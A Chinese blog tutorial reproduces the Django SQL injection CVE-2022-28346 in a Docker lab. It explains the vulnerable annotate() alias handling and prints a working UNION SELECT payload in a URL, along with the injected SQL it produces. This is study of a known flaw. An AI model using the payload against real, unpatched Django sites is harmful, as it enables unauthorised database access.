从零开始的Django CVE-2022-28346复现

本篇适合有Django开发基础,但没有SQL注入经验的人阅读

Django的sql漏洞,一直以为Djano的ORM不会有漏洞,直到我看了Django的官方漏洞列表,每隔几个月就有修补……

Django安全问题档案

image.png

4月份的修补,热热还能吃,CNVD评价是高危,看看怎么回事

描述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击

不懂发生了什么,拉个靶场看一下情况

影响版本

Django Django >=2.2,<2.2.28
Django Django >=3.2,<3.2.13
Django Django >=4.0,<4.0.4

官方PR修补

[3.2.x] Fixed CVE-2022-28346 – Protected QuerySet.annotate(), aggreg…

分析&复现

先看靶场代码:

1
git clone https://github.com/DeEpinGh0st/CVE-2022-28346.git

只有两个路由,第一条负责初始化数据库,第二条负责验证漏洞,使用sqlite作为数据库,基于Django 3.2.11

image-20220813213629724.png

image.png

数据表就id和name两个字段

image.png

触发漏洞点

image.png

了解一下QuerySet.annotate()是什么东西

https://docs.djangoproject.com/zh-hans/3.2/ref/models/querysets/#annotate

image.png

官方示例也是用count方法演示,最终在SQL语句中变成COUNT函数

这里引入脚本之家对于aggregate的说明

聚合函数都是在django.db.models模块下的,具体的聚合函数有Avg、Count、Max、Min、Sum。count用于计算数量

拉取并启动漏洞镜像

1
2
docker pull s0cke3t/cve-2022-28346
docker run -d -p 8000:8000 s0cke3t/cve-2022-28346

注意,如果是本地部署的话,主界面只会显示OK字样

1
http://127.0.0.1:8000/demo?field=admin

看起来的效果跟QuerySet.all()一样

image.png

可能会有小伙伴对 unpacking operator (*) 不太熟悉,这个属于 PEP48 引入的的操作,官方文档里面给出了案例

This PEP proposes extended usages of the * iterable unpacking operator and ** dictionary unpacking operators to allow unpacking in more positions, an arbitrary number of times, and in additional circumstances.

**号用来拆分字典,常被用来读取kwargs内容(获取dict中的value),多用于函数传参,下面是一个example

1
2
3
4
5
a = {'a':2, 'c': 1}
def fun(a,c):
print(a)
print(c)
fun(**a)

SQL注入POC

1
http://127.0.0.1:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

配合db.connection,可以看到实时的sql语句

1
2
3
from django.db import connection
#添加到末尾处
print(connection.queries)

sqlite_version()是sqlite的函数,返回当前当前 SQLite 服务器版本,配上前面的1和后面的3正好形成3列,而–则把后半部分语句给无效化

image-20220813225815495.png

可以看到打印出来的SQL语句不一样

1
SELECT "demo_user"."id", "demo_user"."name", COUNT("demo_user"."name") AS "admin" FROM "demo_user" GROUP BY "demo_user"."id", "demo_user"."name"

出来的是一个3列的表

image.png

sql注入产生了

1
2
SELECT "demo_user"."id", "demo_user"."name", COUNT("demo_user"."name") AS "demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" 
--" FROM "demo_user" GROUP BY "demo_user"."id", "demo_user"."name"

image.png

只能说这个注入方式,首先得知道django ORM 的写法,其次还得找到拼接点,属实不易

参考资料

Docker镜像提供方以及他们对于漏洞发生点的分析:

乌特拉安全实验室丨Django CVE-2022-28346 SQL注入分析

其他收录了漏洞的仓库

https://github.com/H3rmesk1t/Django-SQL-Inject-Env

往年的漏洞

我最早应该是看到这个雷神众测的这篇,没注意收藏,所以变成了本文的分析

Django order_by SQL注入漏洞分析(CVE-2021-35042)

结语

在我那短暂的参与蓝鲸智云项目的时间里,并没有用上QuerySet.annotate()、aggregate()和extra()这些方法。官方最终以加入check_alias对聚合参数进行检查作为修补方案。个人感觉触发漏洞的概率不大。

做蓝鲸智云的项目确实开拓了个人的视野,使我有机会接触DJango和DRF框架,我也是第一次知道ORM这么一个新兴事物。这个漏洞也在提醒我们:ORM的存在并不能彻底杜绝SQL注入的情况,相关SQL注入的漏洞依然有很大机会被挖掘出来。